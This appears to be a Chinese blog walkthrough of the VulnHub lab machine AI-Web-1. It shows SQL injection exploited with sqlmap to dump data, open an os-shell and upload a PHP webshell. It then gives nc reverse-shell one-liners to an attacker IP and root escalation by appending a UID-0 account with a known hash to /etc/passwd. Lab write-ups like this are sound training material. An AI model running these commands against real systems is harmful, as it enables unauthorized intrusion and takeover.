先贴一下这次靶机的下载地址:https://www.vulnhub.com/entry/ai-web-1,353/
靶机下载完之后,vmware直接打开,会显示下面这个界面。图片上显示让你登陆,但是我们并不需要登陆,就这样就可以了。
kali里面使用netdiscover
发现主机。netdiscover
需要root命令才能启动
netdiscover 192.168.92.0/16
我们的攻击机的IP为:192.168.92.150、192.168.92.129
我们靶机的IP为:192.168.92.184
使用nmap命令扫描
nmap -sS -sV -A -n 192.168.92.184
nmap -sS //SYN扫描,使用最频繁,安全,快
nmap -sV //对端口上的服务程序版本进行扫描
nmap -A //强力扫描,耗时长
nmap -n //表示不进行dns解析
扫描之后发现只有一个80端口存活
访问80这个端口,可以看到Not even Google search my content
这句话,翻译过来大概就是谷歌都搜不到。观察了一下并没有可以利用的地方。
换个思路,开始进行目录扫描。我这里用的是dirsearch
命令:./dirsearch.py -u http://192.168.92.184/
但是我看很多大佬都是直接用kali自带的dirb,我这里也尝试一下,也挺好用的,看起来精简了一些。
访问一下/robots.txt,可以看到有两个目录。
访问一下这两个目录,两个目录都是Forbidden,拒绝服务。
接着上面的思路继续开始目录扫描
先扫描的是/m3diNf0这个目录,发现有一个info.php
访问看一下,就是phpinfo()
接着进行目录扫描,这次扫描/se3reTdir777/uploads/,不过啥也没有
去掉upload,直接扫描/se3reTdir777,这次扫描出来一个login界面
看一下这个登陆界面,登录框,肯定首先就是要测试一下SQL注入
输入'
报错了,证明这里是有SQL注入的。
抓包看一下注入点,放到sqlmap里面跑一下
POST /se3reTdir777/index.php HTTP/1.1
Host: 192.168.92.184
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
Origin: http://192.168.92.184
Connection: keep-alive
Referer: http://192.168.92.184/se3reTdir777/index.php
Upgrade-Insecure-Requests: 1
uid=1&Operation=Submit
注入点就是uid=1&Operation=Submit
我这里用sqlmap先列出数据库,爆出两个数据库,aiweb1和information_schema
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" --dbs //列出库
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 --tables //列出表
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 -T user --columns //列出字段
sqlmap -u "http://192.168.92.184/se3reTdir777/index.php/" -data "uid=1&Operation=Submit" -D aiweb1 -T user -C id --dump
爆破出来之后,基本上没有啥重要信息。
get一个新的知识点
sqlmap-os-shell
os-shell执行条件:
通过os-shell获得权限
sqlmap -u "http://192.168.92.184/se3reTdir777/" --data "uid=1&Operation=Submit" --level=3 --os-shell
首先要选择语言,选择PHP(default)
然后需要输入绝对路径
填绝对路径的话,我们可以去看之前的phpinfo(),看看绝对路径
这里绝对路径要找有写入权限的,用这个路径/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
,你也可以自己测试一下看看其他路径有没有权限,我这里就不去测试了。
这里成功获取到shell
,但是权限比较低,是www-data
获取到了网站的权限,接下来就要获取到服务器的权限,通过sqlmap
上传一个php木马
首先先写一个php木马
sqlmap进行文件上传
sqlmap -u "http://192.168.92.184/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php
–file-write:去读取文件(hack.php)
–file-dest:后面加目标的绝对路径 已经生成木马的名称(hack.php)
我们可以用蚁剑测试连接一下,成功传上去之后,就可以连接成功。我这里成功连接上了。
1.先在kali
上面监听一下端口使用命令:nc -lvvp 6666
2.nc -e /bin/bash 192.168.92.129 6666
(发现-e参数不可用)
这里首先在kali上输入nc监听,然后使用nc去反向连接
-e :将传入的信息以命令执行
3.使用命令:rm /tmp/f;mkfifo/tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.92.129 6666 >/tmp/f
(回弹了shell)
首先我先一个一个来解释一下命令
rm :是一个具有破坏性的命令,因为rm命令会永久性的删除文件或目录,这就意味着,如果没有对文件或目录进行备份,一旦使用命令将其删除,将无法恢复。
这里我们使用的这个命令 rm /tmp/f
,就是删除这个目录。因为我们接下来要创建这个目录,以防万一先删除掉。
mkfifo :创建一个FIFO特殊文件,是一个命名管道(可以用来做进程之间通信的桥梁)
这里我理解为创建一个文件目录,名为/tmp/f
。
4.使用命令:python -c "import pty;pty.spawn('/bin/bash')"
(python写交互)
使用这个命令的原因:当我们拿到一个webshell的时候,我们能够执行一些命令,但是这些命令都是非交互的,也就是说不存在上下文的概念。当我们想使用vim、top等命令时,webshell就无能为力了。所以输入这个命令可以帮助我们获得一个交互式的webshell。
先使用命令:find / -user root -perm -4000 -print 2>/dev/null
看一下哪些可以执行root
权限
看一下内核版本,使用命令:uname -a
,当前版本号是4.15.0-58-generic
searchsploit linux kernel 4.15.0-58-generic
搜索一下相关的内核漏洞,并没有发现可以利用的地方
可以使用添加一个root
账号进行登入提权
使用命令:openssl passwd -1 -salt hacker 123456
创建一个admin的账号
echo 'hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
在Linux系统中我们要想手动生成一个密码可以采用openssl passwd
来生成一个密码作为用户账号的密码。Linux系统中的密码存放在/etc/shadow
文件中,并且是以加密的方式存放的,根据加密方式的不同,所产生的加密后的密码的位数也不同。
语法格式
openssl passwd [option] passwd
openssl passwd常用的选项如下:
-1
:表示采用的是MD5加密算法
-salt
:指定salt值,不使用随机产生的salt
passwd提权
1.通过openssl passwd
生成一个新的用户hacker,密码为123456
openssl passwd -1 -salt hacker 123456
$1$hacker$6luIRwdGpBvXdP.GMwcZp/
2.将其追加到kali的/etc/passwd
文件中
将hacker:$1$hacker$6luIRwdGpBvXdP.GMwcZp/:0:0::/root:/bin/bash' >> /etc/passwd
3.然后切换到hacker用户
知识点补充
/etc/passwd文件字段:
/etc/passwd
每行包含系统的每个用户(用户账户)的一个条目。所有字段都由冒号(:)符号分隔。共七个字段如下。通常,/etc/passwd
文件条目如下所示:
/etc/passwd格式:
从上图:
编号 | 属性 | 描述 |
---|---|---|
1 | 用户名 | 用户登录时使用,长度在1到32个字符之间。 |
2 | 密码 | x 字符表示加密的密码存储在 /etc/shadow 文件中。请注意,您需要使用 passwd 命令来计算在 CLI 中键入的密码的哈希值,或者在 /etc/shadow 文件中存储/更新密码的哈希值。 |
3 | 用户 ID (UID) | 必须为每个用户分配一个用户 ID (UID)。UID 0(零)为 root 用户保留,UID 1-99 为其他预定义帐户保留。此外,UID 100-999 由系统为管理和系统帐户/组保留。 |
4 | 组 ID (GID) | 主要组 ID(存储在 /etc/group 文件中) |
5 | 用户 ID 信息 (GECOS) | 评论字段。它允许您添加有关用户的额外信息,例如用户的全名、电话号码等。此字段由finger 命令使用。 |
6 | 主目录 | 用户登录时所在目录的绝对路径。如果此目录不存在,则用户目录变为 / |
7 | Command/shell | 命令或 shell (/bin/bash) 的绝对路径。通常,这是一个外壳。请注意,它不一定是外壳。例如,sysadmin 可以使用 nologin shell,它充当用户帐户的替换 shell。如果 shell 设置为/sbin/nologin并且用户尝试直接登录 Linux 系统,则 /sbin/nologin shell 关闭连接。 |
口令
一些系统中,存放着加密后的用户口令字。虽然这个字段存放的知识用户口令的加密串,不是明文,但是由于/etc/passswd
文件对所有用户都可读,所以这仍是一个安全隐患。因此,现在许多Linux系统(如SVR4)都使用了shadow
技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”
Vulnhub靶机渗透总结:
参考借鉴链接:https://blog.csdn.net/Aluxian_/article/details/124434294
新知识点:sql--os--shell
(我实战的时候试过,不过没有具体了解过)
/etc/passwd
的格式需要了解,我上面也补充了
格式:用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认shell
("x"
表示此用户设有密码,但不是真正的密码,真正的密码保存在/etc/shadow
文件中允许登入的shell就是/bin/bash禁止shell登入就是/sbin/nologin)